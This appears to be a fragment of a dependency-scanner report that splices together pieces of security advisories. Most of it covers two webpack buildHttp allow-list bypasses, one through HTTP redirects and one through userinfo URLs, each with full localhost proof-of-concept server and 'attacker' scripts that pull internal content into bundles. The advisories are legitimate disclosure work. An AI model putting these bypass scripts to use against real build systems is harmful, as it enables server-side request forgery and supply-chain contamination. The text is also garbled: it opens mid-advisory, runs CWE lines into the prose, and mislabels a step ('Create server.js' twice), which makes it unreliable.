<img width="4004" height="1038" alt="image" src="https://github.com/user-attachments/assets/15a859a8-1dc6-4105-8d58-80527c0dd9ab" />
4. Inject `../` segments under the optimized deps `.map` URL prefix to reach `/tmp/poc.map`
<img width="2790" height="846" alt="image" src="https://github.com/user-attachments/assets/5d02957d-2e6a-4c45-9819-3f024e0e81f2" />CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-200 Exposure of Sensitive Information to an Unauthorized ActorVulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?webpack
Referenced In Project/Scope: package-lock.json: transitive
### Summary
When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) enforces `allowedUris` only for the **initial** URL, but **does not re-validate `allowedUris` after following HTTP 30x redirects**. As a result, an import that appears restricted to a trusted allow-list can be redirected to **HTTP(S) URLs outside the allow-list**. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion in build outputs** (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
### Details
In the HTTP scheme resolver, the allow-list check (`allowedUris`) is performed when metadata/info is created for the original request (via `getInfo()`), but the content-fetch path follows redirects by resolving the `Location` URL without re-checking whether the redirected URL is within `allowedUris`.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
**Figure 1 (evidence screenshot):** left pane shows the allowed host issuing a 302 redirect to `http://127.0.0.1:9100/secret.js`; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
<img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" />
### PoC
This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely.
#### 1) Setup
```bash
mkdir split-ssrf-poc && cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
```
#### 2) Create server.js
```js
#!/usr/bin/env node
"use strict";
const http = require("http");
const url = require("url");
const allowedPort = 9000;
const internalPort = 9100;
const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
`export const secret = ${JSON.stringify(secret)};\n` +
`export default "ok";\n`;
function start(port, handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(port, "127.0.0.1", () => resolve(s));
});
}
(async () => {
// Internal-only service (SSRF target)
await start(internalPort, (req, res) => {
if (req.url === "/secret.js") {
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(internalPayload);
console.log(`[internal] 200 /secret.js served (secret=${secret})`);
return;
}
res.statusCode = 404;
res.end("not found");
});
// Allowed host (redirector)
await start(allowedPort, (req, res) => {
const parsed = url.parse(req.url, true);
if (parsed.pathname === "/redirect.js") {
const to = parsed.query.to || internalUrlDefault;
// Safety guard: only allow redirecting to localhost internal service in this PoC
if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {
res.statusCode = 400;
res.end("to must be internal-only in this PoC");
console.log(`[allowed] blocked redirect to: ${to}`);
return;
}
res.statusCode = 302;
res.setHeader("Location", to);
res.end("redirecting");
console.log(`[allowed] 302 /redirect.js -> ${to}`);
return;
}
res.statusCode = 404;
res.end("not found");
});
console.log(`\nServer running:`);
console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);
console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);
})();
```
#### 3) Create attacker.js
```js
#!/usr/bin/env node
"use strict";
const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
const webpackPkg = require("webpack/package.json");
const allowedPort = 9000;
const internalPort = 9100;
const allowedBase = `http://127.0.0.1:${allowedPort}/`;
const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`;
const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;
async function walk(dir) {
const out = [];
const items = await fs.readdir(dir, { withFileTypes: true });
for (const it of items) {
const p = path.join(dir, it.name);
if (it.isDirectory()) out.push(...await walk(p));
else if (it.isFile()) out.push(p);
}
return out;
}
async function fileContains(f, needle) {
try {
const buf = await fs.readFile(f);
return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle);
} catch {
return false;
}
}
async function findInFiles(files, needle) {
const hits = [];
for (const f of files) if (await fileContains(f, needle)) hits.push(f);
return hits;
}
const fmtBool = b => (b ? "✅" : "❌");
(async () => {
const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-"));
const srcDir = path.join(tmp, "src");
const distDir = path.join(tmp, "dist");
const cacheDir = path.join(tmp, ".buildHttp-cache");
const lockfile = path.join(tmp, "webpack.lock");
const bundlePath = path.join(distDir, "bundle.js");
await fs.mkdir(srcDir, { recursive: true });
await fs.mkdir(distDir, { recursive: true });
await fs.writeFile(
path.join(srcDir, "index.js"),
`import { secret } from ${JSON.stringify(entryUrl)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
);
const config = {
context: tmp,
mode: "development",
entry: "./src/index.js",
output: { path: distDir, filename: "bundle.js" },
experiments: {
buildHttp: {
allowedUris: [allowedBase],
cacheLocation: cacheDir,
lockfileLocation: lockfile,
upgrade: true
}
}
};
const compiler = webpack(config);
compiler.run(async (err, stats) => {
try {
if (err) throw err;
const info = stats.toJson({ all: false, errors: true, warnings: true });
if (stats.hasErrors()) {
console.error(info.errors);
process.exitCode = 1;
return;
}
const bundle = await fs.readFile(bundlePath, "utf8");
const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
const secret = m ? m[0] : null;
console.log("\n[ATTACKER RESULT]");
console.log(`- webpack version: ${webpackPkg.version}`);
console.log(`- node version: ${process.version}`);
console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);
console.log(`- imported URL (allowed only): ${entryUrl}`);
console.log(`- temp dir: ${tmp}`);
console.log(`- lockfile: ${lockfile}`);
console.log(`- cacheDir: ${cacheDir}`);
console.log(`- bundle: ${bundlePath}`);
if (!secret) {
console.log("\n[SECURITY SUMMARY]");
console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);
return;
}
const lockHit = await fileContains(lockfile, secret);
let cacheFiles = [];
try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }
const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;
const allTmpFiles = await walk(tmp);
const allHits = await findInFiles(allTmpFiles, secret);
console.log(`\n- extracted secret marker from bundle: ${secret}`);
console.log("\n[SECURITY SUMMARY]");
console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);
console.log(`- Internal target (SSRF-like): ${internalTarget}`);
console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);
console.log(`- ACTUAL: internal content treated as module and bundled`);
console.log("\n[EVIDENCE CHECKLIST]");
console.log(`- bundle contains secret: ${fmtBool(true)}`);
console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);
console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
console.log("\n[PERSISTENCE CHECK] files containing secret");
for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);
if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`);
} catch (e) {
console.error(e);
process.exitCode = 1;
} finally {
compiler.close(() => {});
}
});
})();
```
#### 4) Run
Terminal A:
```bash
node server.js
```
Terminal B:
```bash
node attacker.js
```
#### 5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
### Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.CWE-918 Server-Side Request Forgery (SSRF)Vulnerable Software & Versions (NPM):
### Summary
When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) can be bypassed to fetch resources from **hosts outside `allowedUris`** by using crafted URLs that include **userinfo** (`username:password@host`). If `allowedUris` enforcement relies on a **raw string prefix check** (e.g., `uri.startsWith(allowed)`), a URL that *looks* allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (outbound requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion** (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
- webpack version: **5.104.0**
- Node version: **v18.19.1**
### Details
**Root cause (high level):** `allowedUris` validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., `new URL(uri)`), which interprets the **authority** as the part after `@`.
Example crafted URL:
- `http://127.0.0.1:9000@127.0.0.1:9100/secret.js`
If the allow-list is `["http://127.0.0.1:9000"]`, then:
- Raw string check:
`crafted.startsWith("http://127.0.0.1:9000")` → **true**
- URL parsing (WHAT `new URL()` will contact):
`origin` → `http://127.0.0.1:9100` (host/port after `@`)
As a result, webpack fetches `http://127.0.0.1:9100/secret.js` even though `allowedUris` only included `http://127.0.0.1:9000`.
**Evidence from reproduction:**
- Server logs showed the internal-only endpoint being fetched:
- `[internal] 200 /secret.js served (...)` (observed multiple times)
- Attacker-side build output showed:
- the internal secret marker was present in the **bundle**
- the internal secret marker was present in the **buildHttp cache**
<img width="1651" height="381" alt="image-2" src="https://github.com/user-attachments/assets/8fd81b35-0d4f-424b-b60e-0a2582a8b492" />
### PoC
This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely.
#### 1) Setup
```bash
mkdir split-userinfo-poc && cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
```
#### 2) Create server.js
```js
#!/usr/bin/env node
"use strict";
const http = require("http");
const ALLOWED_PORT = 9000; // allowlisted-looking host
const INTERNAL_PORT = 9100; // actual target if bypass succeeds
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
`// internal-only\n` +
`export const secret = ${JSON.stringify(secret)};\n` +
`export default "ok";\n`;
function listen(port, handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(port, "127.0.0.1", () => resolve(s));
});
}
(async () => {
// "Allowed" host (should NOT be contacted if bypass works as intended)
await listen(ALLOWED_PORT, (req, res) => {
console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`);
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);
});
// Internal-only service (SSRF-like target)
await listen(INTERNAL_PORT, (req, res) => {
if (req.url === "/secret.js") {
console.log(`[internal] 200 /secret.js served (secret=${secret})`);
res.statusCode = 200;
res.setHeader("Content-Type", "application/javascript; charset=utf-8");
res.end(internalPayload);
return;
}
console.log(`[internal] 404 ${req.method} ${req.url}`);
res.statusCode = 404;
res.end("not found");
});
console.log("\nServers up:");
console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);
console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);
})();
```
#### 2) Create server.js
```js
#!/usr/bin/env node
"use strict";
const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
function fmtBool(b) { return b ? "✅" : "❌"; }
async function walk(dir) {
const out = [];
let items;
try { items = await fs.readdir(dir, { withFileTypes: true }); }
catch { return out; }
for (const it of items) {
const p = path.join(dir, it.name);
if (it.isDirectory()) out.push(...await walk(p));
else if (it.isFile()) out.push(p);
}
return out;
}
async function fileContains(f, needle) {
try {
const buf = await fs.readFile(f);
const s1 = buf.toString("utf8");
if (s1.includes(needle)) return true;
const s2 = buf.toString("latin1");
return s2.includes(needle);
} catch {
return false;
}
}
(async () => {
const webpackVersion = require("webpack/package.json").version;
const ALLOWED_PORT = 9000;
const INTERNAL_PORT = 9100;
// NOTE: allowlist is intentionally specified without a trailing slash
// to demonstrate the risk of raw string prefix checks.
const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`;
// Crafted URL using userinfo so that:
// - The string begins with allowedUri
// - The actual authority (host:port) after '@' is INTERNAL_PORT
const crafted = `http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;
const parsed = new URL(crafted);
const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-"));
const srcDir = path.join(tmp, "src");
const distDir = path.join(tmp, "dist");
const cacheDir = path.join(tmp, ".buildHttp-cache");
const lockfile = path.join(tmp, "webpack.lock");
const bundlePath = path.join(distDir, "bundle.js");
await fs.mkdir(srcDir, { recursive: true });
await fs.mkdir(distDir, { recursive: true });
await fs.writeFile(
path.join(srcDir, "index.js"),
`import { secret } from ${JSON.stringify(crafted)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
);
const config = {
context: tmp,
mode: "development",
entry: "./src/index.js",
output: { path: distDir, filename: "bundle.js" },
experiments: {
buildHttp: {
allowedUris: [allowedUri],
cacheLocation: cacheDir,
lockfileLocation: lockfile,
upgrade: true
}
}
};
console.log("\n[ENV]");
console.log(`- webpack version: ${webpackVersion}`);
console.log(`- node version: ${process.version}`);
console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);
console.log("\n[CRAFTED URL]");
console.log(`- import specifier: ${crafted}`);
console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);
console.log(`- WHAT URL() parses:`);
console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);
console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);
console.log(` - hostname: ${parsed.hostname}`);
console.log(` - port: ${parsed.port}`);
console.log(` - origin: ${parsed.origin}`);
console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);
const compiler = webpack(config);
compiler.run(async (err, stats) => {
try {
if (err) throw err;
const info = stats.toJson({ all: false, errors: true, warnings: true });
if (stats.hasErrors()) {
console.error("\n[WEBPACK ERRORS]");
console.error(info.errors);
process.exitCode = 1;
return;
}
const bundle = await fs.readFile(bundlePath, "utf8");
const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
const foundSecret = m ? m[0] : null;
console.log("\n[RESULT]");
console.log(`- temp dir: ${tmp}`);
console.log(`- bundle: ${bundlePath}`);
console.log(`- lockfile: ${lockfile}`);
console.log(`- cacheDir: ${cacheDir}`);
console.log("\n[SECURITY CHECK]");
console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);
if (foundSecret) {
const lockHit = await fileContains(lockfile, foundSecret);
const cacheFiles = await walk(cacheDir);
let cacheHit = false;
for (const f of cacheFiles) {
if (await fileContains(f, foundSecret)) { cacheHit = true; break; }
}
console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);
}
} catch (e) {
console.error(e);
process.exitCode = 1;
} finally {
compiler.close(() => {});
}
});
})();
```
#### 4) Run
Terminal A:
```bash
node server.js
```
Terminal B:
```bash
node attacker.js
```
#### 5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
### Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.CWE-918 Server-Side Request Forgery (SSRF)Vulnerable Software & Versions (NPM):